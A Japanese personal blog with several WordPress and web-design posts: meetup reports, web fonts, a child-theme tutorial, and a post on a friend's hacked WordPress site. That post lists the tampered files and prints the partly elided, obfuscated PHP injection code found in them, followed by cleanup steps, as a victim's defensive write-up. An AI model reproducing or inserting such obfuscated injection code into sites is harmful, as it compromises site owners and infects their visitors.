WordPress:ヘッダーの画像の削除方法

長い間、疑問に思っていたことが、昨晩、あっさりと解決して頂きました。
Webnistさん、本当にありがとうございます。感謝、感謝です。

それは、WordPressのヘッダーの写真(このブログでも上部分に写真を表示しています)、それを追加するためのGUIが用意されていて簡単に出来ます。
ダッシュボードの「概観」の「ヘッダー」画面で「写真をアップロード」していくだけ。

しかしながら、「削除」したいのに、「削除」のボタンはない。
そこで、FTPでサーバに入ってファイルを削除してみたが、それでは「画像が表示されない」という状態で、画像のリンク切れが表示されてしまうだけ。
どうしたらいいのだろう?

わかってしまえば簡単なことなのだが、
ダッシュボードの「メディア」の「ライブラリ」を開いて、ここの画面で写真を「完全に削除する」そうです。
ライブラリに写真が多い場合は、ファイル名を入れて、「メディアを検索」してみます。

消えました。ありがとうございました。

WordPress アジュール部に参加

「WordPress アジュール部」に参加しました。

場所は日本マイクロソフトさんの会議室。
18:30〜20:30

少し遅れて行って、マイクロソフトさんのビルの中で、会議室探してウロウロ。
立派なビルの、ステキなオフィスです。
結局30分くらい遅れて入っちゃいました。

Windows Azure」でWordPressを動かすということの初心者向けの内容でした。
WordPressでは有名な、太田さん(Webnistさん)堀家さん(カクニンさん)のお話を聞くことが出来て良かったです。

今回は「初心者向け」とあったので、わかりやすい言葉を選んで、選んで、話されていました。
ありがとうございました。

「Windows Azure」のページの右上に、「無料評価版」というリンクがあって、クリックすると「90日間無料評価版」があります。

Web制作を効率化して、クリエイティブに専念しよう~WordPress編~

Web制作を効率化して、クリエイティブに専念しよう~WordPress編~」に参加しました。

場所は、麹町にある「KDDI ウェブコミュニケーションズ」さんの会議室
時間は、16:00〜18:00

セッション1:WordPressを使ったWeb制作効率化のためのTips&Tools
講師は、「よつばデザイン」の後藤賢司さん。
後藤さんは、東京と大分を拠点にして、デザイン業を営んでいるそうです。

「効率化」・・・ついつい、ついつい、慣れた手法でやってしまいますよね。
何かを変革するには、エネルギーと時間が必要。

わかっちゃいるけど、前のマンマが多いと思う中、あちこちに効率化を考えて仕事を進めている人の話を聞くと、頭の中が整理されたり、触発されたりして、良かったです。

セッション2:WordPressでのSmartRelease活用法
講師は、KDDIウェブコミュニケーションズの阿部正幸さん。

SmartRelease」を使ったサーバサイドの効率化を聞きました。
テストサーバと本番サーバでは、PHPやmySQLや、その他もろもろのバージョンが異なっていたり、様々な理由でスンナリいかない経験は誰でもしていると思います。それを回避するためにというサービス。なかなかおもしろい。

検索していたら、「株式会社コニュニティコム」さんに詳しいレポートがあるので、こちらをどうぞ

CSS Nite LP23

「CSS Nite LP23」に参加しました。
「表示速度最適化」がテーマです。これは興味深い。

講師の方々が何度も口にしたのは「HTTPリクエストを減らすこと」だそうです。
また、表示速度は「フロントエンド」側で決まるそうで、画像の圧縮にしても、一つ一つは微々たるものかもしれないが、ちりも積もればで、その努力が大切のようです。

また、そのためのツール利用についても学ぶことが多かったです。

そして、最後の「ライブデモ」は、実際のサイトを使って、それをどこまで表示速度の改善が出来るかということを時間のない中で、キチっとやって頂いて、とても有意義でした。これを自分のものにしなければ!

WordPressに改ざん

知人にもWordpressを勧めて、「結構いいね」なんて言われていたのですが、アララ、ページが改ざんされてしまったそうです。

そのサイトに行くと、ウィルスソフトが「トロイの木馬」に感染したとかいう警告を出すそうな。ひどい人はPCが使い物にならない(といっても、どの程度だったのか詳細は不明ですけど)らしい。

チェックをしてみますと、いくつかのファイルに改ざん後がありました。
ネットで調べると、同様の改ざんが報告されています。
私もこちらに記しておきまする。

■改ざんされたのは次のファイル。
Wordpressのフォルダ/index.php
Wordpressのフォルダ/wp-blog-header.php
Wordpressのフォルダ/wp-content/themes/index.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/footer.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/header.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/index.php

(テストで入れておいたテーマにも改ざんがあったので、そちらはフォルダごと削除)

■改ざん方法
それぞれのphpファイルの最後に次の記載が追加されていた。
これが1行にズラズラ〜っと記載してありました。

<?php @error_reporting(0);
if (!isset($eva1fYlbakBcVSir)) {
$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3T(省略)
bkRTID0xODc5Mjt9";
$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";
$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";
$eva1tYldakBoVS1r = "\x65\143\x(省略)\x67\145\x72\160";
$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\(省略)
akBcVSir($eva1tYldakBoVS1r);
$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);
$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016),
$eva1fYlbakBcVSir);$eva1tYXdakAcVSjr =
$eva1tYidakBcVSjr[0.031*0.061];
$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016),
$eva1tYidokBoVSjr);
$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],
$eva1tYidokBcVSjr[62.5*0.016],
$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";
$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";
$eva1tYldakBoVS1r = "\x65\143\x72\160";
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
} ?>

■後処理として、
これらのファイルのその記載は削除してもらって、さらに
・ftpサーバのパスワード変更
・Wordpressのパスワード変更
・レンタルサーバーへの報告
・Wordpressを最新バージョンに更新
・pluginを最新バージョンに更新

これらをして頂きました。ふ〜。

Google Web Font

前にモリサワの「TypeSquare」というサービスについて書きました。
実際に配置してみたのはこちらのページ

あちらは有料ですけれど、だいぶ前から「Google Web Font」が無料で使えてます。

ただし、日本語はなくて英語のみ。
使い方は簡単で、サイトで好みの文字を見つけたら「Quick-use」をクリック。
そこに表示された「link href」をheadタグに記載して利用します。

<link href=’http://fonts.googleapis.com/css?family=Russo+One’ rel=’stylesheet’ type=’text/css’>

使ってみました。こんな感じ。

oyama

便利サイト:Mr.Data Converter

これ便利。
Mr.Data Converter」というサイト。

Excelで入力した内容をコピペでサイトに貼付けると、XMLやJSON形式にしてくれる。
HTMLも選ぶことが出来て、そちらはあっという間に

タグを付けてくれる。

モリサワの「TypeSquare」レポートページ

モリサワの「TypeSquare」というサービスは現在、無料のお試し期間中なので、このブログにも設置してみています。

マイページにログインして「PV数レポート」でPV数の確認が出来ます。
これを参考にして「価格帯」を決めていけばいいわけですね。
果たして、利用は増えましょうか?

これを利用するメリットとして、制作者サイドとしては、いちいち画像を作らなくてもフォントだけ対応出来る箇所が増えるのは助かります。サイト運営者としても、フォントとして選択出来るし、SEO対策的にも良いのではないでしょうか。

その効果を期待して導入が進むかどうか注目です。
ベーシックのSプランで年間16,800円。
サイトごとに必要。
複数サイトを持ってる場合はサイトごとに料金が発生するようです。

モリサワの「TypeSquare」

モリサワが本日からサービス展開をした「TypeSquare」は、クラウドでフォントを利用するという新しいサービス。

キャンペーン0円のお試し期間中なので試してみます。
この文字に「リュウミン M-KL」というフォントを指定。どうでしょう?

オヤマ日記飴じゃ。

ついでに「リュウミン U-KL」というフォントで。

オヤマ日記飴じゃ。

ホホホ、これは楽しいですのー。

WordPress:子テーマ

WordPressのTwentyelevenテンプレートは実によく出来ています。重宝しております。
でも、そのままでは使えないから、色々と手を加えるんだけど、子テーマを作った方が後々のメンテがやりやすいように思います。
子テーマを作ってみました。

<子テーマの作り方>

(1)wp-content/themes/にフォルダを作成
(例:フォルダ名はoyamatvとかなんでもいいんだけど)

(2)oyamatvフォルダを開き、twentyelevenフォルダのstyle.cssをコピー

(3)「style.css」を開き、先頭のコメントを残し、他は削除

(4)次の記載をする(そうするとテンプレートとして設定が可能になる)

@charset "utf-8";
/*
Theme Name: oyama
Author: オヤマ日記飴
Description: Twentyelevenの子テーマ
Template: twentyeleven
*/

@import url("../twentyeleven/style.css");

(5)管理画面で子テーマを有効化する

新たに作ったstyle.cssに、追記していきますから、これが便利だと思います。